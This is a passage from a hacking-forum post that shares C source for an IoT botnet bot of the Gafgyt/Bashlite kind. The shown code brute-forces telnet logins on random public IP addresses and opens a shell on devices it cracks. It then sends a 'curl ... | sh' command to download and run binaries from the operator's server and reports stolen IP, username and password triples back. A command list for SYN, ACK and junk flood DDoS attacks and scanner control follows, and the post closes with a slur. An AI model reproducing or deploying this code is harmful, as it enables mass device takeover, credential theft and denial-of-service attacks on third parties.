if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
fds[i].bufUsed = strlen(fds[i].sockbuf);
}
if(fds[i].totalTimeout + 30 < time(NULL))
{
sclose(fds[i].fd);
fds[i].state = 0;
fds[i].complete = 1;
}
}
break;
case 5:
{
if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
fds[i].state = 6;
}
break;
case 6:
{
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
if(readUntil(fds[i].fd, "ncorrect", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
{
fds[i].totalTimeout = 0;
fds[i].bufUsed = 0;
if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
else fds[i].state = 7;
memset(fds[i].sockbuf, 0, 1024);
continue;
} else {
fds[i].bufUsed = strlen(fds[i].sockbuf);
}
if(fds[i].totalTimeout + 30 < time(NULL))
{
sclose(fds[i].fd);
fds[i].state = 0;
fds[i].complete = 1;
}
}
break;
case 7:
{
if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
fds[i].state = 8;
}
break;
case 8:
{
if(send(fds[i].fd, "/bin/busybox;echo -e '\\147\\141\\171\\146\\147\\164'\r\n", 49, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
fds[i].state = 9;
}
break;
case 9:
{
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
if(readUntil(fds[i].fd, "gayfgt", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
{
send(fds[i].fd, ("curl %s | sh\r\n", getbinariesURL), strlen(("curl %s | sh\r\n", getbinariesURL)), MSG_NOSIGNAL); //Execute getbinaries.sh on our server.
fds[i].totalTimeout = 0;
fds[i].bufUsed = 0;
if(strstr(fds[i].sockbuf, "multi-call") != NULL) Raw(("REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]), sockfd);
memset(fds[i].sockbuf, 0, 1024);
sclose(fds[i].fd);
fds[i].complete = 1;
//fds[i].lastWorked = 1;
fds[i].state = 0;
continue;
} else {
fds[i].bufUsed = strlen(fds[i].sockbuf);
}
if(fds[i].totalTimeout + 30 < time(NULL))
{
sclose(fds[i].fd);
fds[i].state = 0;
fds[i].complete = 1;
}
}
break;
case 100:
{
if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
fds[i].state = 101;
}
break;
case 101:
{
if(send(fds[i].fd, "/bin/busybox;echo -e '\\147\\141\\171\\146\\147\\164'\r\n", 49, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
fds[i].state = 102;
}
break;
case 102:
{
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
if(readUntil(fds[i].fd, "multi-call", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
{
fds[i].totalTimeout = 0;
fds[i].bufUsed = 0;
Raw(("REPORT %s:%s:", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd]), sockfd);
sclose(fds[i].fd);
fds[i].state = 0;
memset(fds[i].sockbuf, 0, 1024);
fds[i].complete = 1;
//fds[i].lastWorked = 1;
continue;
} else {
fds[i].bufUsed = strlen(fds[i].sockbuf);
}
if(fds[i].totalTimeout + 30 < time(NULL))
{
sclose(fds[i].fd);
fds[i].state = 0;
fds[i].complete = 1;
}
}
break;
}
}
}
}
in_addr_t getRandomPublicIP()
{
if(ipState[1] > 0 && ipState[4] < 255)
{
ipState[4]++;
char ip[16] = {0};
szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
return inet_addr(ip);
}
ipState[1] = rand() % 255;
ipState[2] = rand() % 255;
ipState[3] = rand() % 255;
ipState[4] = 0;
while(
(ipState[1] == 0) ||
(ipState[1] == 10) ||
(ipState[1] == 100 && (ipState[2] >= 64 && ipState[2] <= 127)) ||
(ipState[1] == 127) ||
(ipState[1] == 169 && ipState[2] == 254) ||
(ipState[1] == 172 && (ipState[2] <= 16 && ipState[2] <= 31)) ||
(ipState[1] == 192 && ipState[2] == 0 && ipState[3] == 2) ||
(ipState[1] == 192 && ipState[2] == 88 && ipState[3] == 99) ||
(ipState[1] == 192 && ipState[2] == 168) ||
(ipState[1] == 198 && (ipState[2] == 18 || ipState[2] == 19)) ||
(ipState[1] == 198 && ipState[2] == 51 && ipState[3] == 100) ||
(ipState[1] == 203 && ipState[2] == 0 && ipState[3] == 113) ||
(ipState[1] >= 224)
)
{
ipState[1] = rand() % 255;
ipState[2] = rand() % 255;
ipState[3] = rand() % 255;
}
char ip[16] = {0};
szprintf(ip, "%d.%d.%d.0", ipState[1], ipState[2], ipState[3]);
return inet_addr(ip);
}
int szprintf(unsigned char *out, const unsigned char *format, ...)
{
va_list args;
va_start( args, format );
return print( &out, format, args );
}
int sclose(int fd)
{
if(3 > fd) return 1;
close(fd);
return 0;
}
int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
{
int bufferUsed = initialIndex, got = 0, found = 0;
fd_set myset;
struct timeval tv;
tv.tv_sec = timeout;
tv.tv_usec = timeoutusec;
unsigned char *initialRead = NULL;
while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
{
FD_ZERO(&myset);
FD_SET(fd, &myset);
if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
initialRead = buffer + bufferUsed;
got = recv(fd, initialRead, 1, 0);
if(got == -1 || got == 0) return 0;
bufferUsed += got;
if(*initialRead == 0xFF)
{
got = recv(fd, initialRead + 1, 2, 0);
if(got == -1 || got == 0) return 0;
bufferUsed += got;
if(!negotiate(fd, initialRead, 3)) return 0;
} else {
if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
}
}
if(found) return 1;
return 0;
}
int print(unsigned char **out, const unsigned char *format, va_list args )
{
register int width, pad;
register int pc = 0;
unsigned char scr[2];
for (; *format != 0; ++format) {
if (*format == '%') {
++format;
width = pad = 0;
if (*format == '\0') break;
if (*format == '%') goto out;
if (*format == '-') {
++format;
pad = PAD_RIGHT;
}
while (*format == '0') {
++format;
pad |= PAD_ZERO;
}
for ( ; *format >= '0' && *format <= '9'; ++format) {
width *= 10;
width += *format - '0';
}
if( *format == 's' ) {
register char *s = (char *)va_arg( args, int );
pc += prints (out, s?s:"(null)", width, pad);
continue;
}
if( *format == 'd' ) {
pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
continue;
}
if( *format == 'x' ) {
pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
continue;
}
if( *format == 'X' ) {
pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
continue;
}
if( *format == 'u' ) {
pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
continue;
}
if( *format == 'c' ) {
scr[0] = (unsigned char)va_arg( args, int );
scr[1] = '\0';
pc += prints (out, scr, width, pad);
continue;
}
}
else {
out:
printchar (out, *format);
++pc;
}
}
if (out) **out = '\0';
va_end( args );
return pc;
}
int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
{
unsigned char print_buf[PRINT_BUF_LEN];
register unsigned char *s;
register int t, neg = 0, pc = 0;
register unsigned int u = i;
if (i == 0) {
print_buf[0] = '0';
print_buf[1] = '\0';
return prints (out, print_buf, width, pad);
}
if (sg && b == 10 && i < 0) {
neg = 1;
u = -i;
}
s = print_buf + PRINT_BUF_LEN-1;
*s = '\0';
while (u) {
t = u % b;
if( t >= 10 )
t += letbase - '0' - 10;
*--s = t + '0';
u /= b;
}
if (neg) {
if( width && (pad & PAD_ZERO) ) {
printchar (out, '-');
++pc;
--width;
}
else {
*--s = '-';
}
}
return pc + prints (out, s, width, pad);
}
int negotiate(int sock, unsigned char *buf, int len)
{
unsigned char c;
switch (buf[1]) {
case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
case CMD_WILL:
case CMD_WONT:
case CMD_DO:
case CMD_DONT:
c = CMD_IAC;
send(sock, &c, 1, MSG_NOSIGNAL);
if (CMD_WONT == buf[1]) c = CMD_DONT;
else if (CMD_DONT == buf[1]) c = CMD_WONT;
else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
send(sock, &c, 1, MSG_NOSIGNAL);
send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
break;
default:
break;
}
return 0;
}
int matchPrompt(char *bufStr)
{
char *prompts = ":>%$#\0";
int bufLen = strlen(bufStr);
int i, q = 0;
for(i = 0; i < strlen(prompts); i++)
{
while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
if(*(bufStr + bufLen - q) == prompts[i]) return 1;
}
return 0;
}
void printchar(unsigned char **str, int c)
{
if (str) {
**str = c;
++(*str);
}
else (void)write(1, &c, 1);
}
int prints(unsigned char **out, const unsigned char *string, int width, int pad)
{
register int pc = 0, padchar = ' ';
if (width > 0) {
register int len = 0;
register const unsigned char *ptr;
for (ptr = string; *ptr; ++ptr) ++len;
if (len >= width) width = 0;
else width -= len;
if (pad & PAD_ZERO) padchar = '0';
}
if (!(pad & PAD_RIGHT)) {
for ( ; width > 0; --width) {
printchar (out, padchar);
++pc;
}
}
for ( ; *string ; ++string) {
printchar (out, *string);
++pc;
}
for ( ; width > 0; --width) {
printchar (out, padchar);
++pc;
}
return pc;
}
char** str_split(char* a_str, const char a_delim)
{
char** result = 0;
size_t count = 0;
char* tmp = a_str;
char* last_comma = 0;
char delim[2];
delim[0] = a_delim;
delim[1] = 0;
/* Count how many elements will be extracted. */
while (*tmp)
{
if (a_delim == *tmp)
{
count++;
last_comma = tmp;
}
tmp++;
}
/* Add space for trailing token. */
count += last_comma < (a_str + strlen(a_str) - 1);
/* Add space for terminating null string so caller
knows where the list of returned strings ends. */
count++;
result = malloc(sizeof(char*) * count);
if (result)
{
size_t idx = 0;
char* token = strtok(a_str, delim);
while (token)
{
assert(idx < count);
*(result + idx++) = strdup(token);
token = strtok(0, delim);
}
assert(idx == count - 1);
*(result + idx) = 0;
}
return result;
}
bool prefix(const char *pre, const char *str)
{
return strncmp(pre, str, strlen(pre)) == 0;
}
int getHost(unsigned char *toGet, struct in_addr *i)
{
struct hostent *h;
if((i->s_addr = inet_addr(toGet)) == -1) return 1;
return 0;
}
void makeRandomStr(unsigned char *buf, int length)
{
int i = 0;
for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
}
uint32_t rand_cmwc(void)
{
uint64_t t, a = 18782LL;
static uint32_t i = 4095;
uint32_t x, r = 0xfffffffe;
i = (i + 1) & 4095;
t = a * Q[i] + c;
c = (uint32_t)(t >> 32);
x = t + c;
if (x < c) {
x++;
c++;
}
return (Q[i] = r - x);
}[/hide]
DDoS Commands:
.synflood <host> <port> <time>
.ngsynflood <host> <port> <time>
.ackflood <host> <port> <time>
.ngackflood <host> <port> <time>
.holdflood <host> <port> <time> (Sometimes takes longer to finish)
.junkflood <host> <port> <time> (Sometimes takes longer to finish)
Scanner Commands:
.scan_start - Starts telnet scanner
.scan_stop - Stops telnet scanner
Misc Commands:
.exit - Exits the bot
[img=0x150]http://imgur.com/BD5LxZb.png[/img]
I'm done being an autism.
![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)

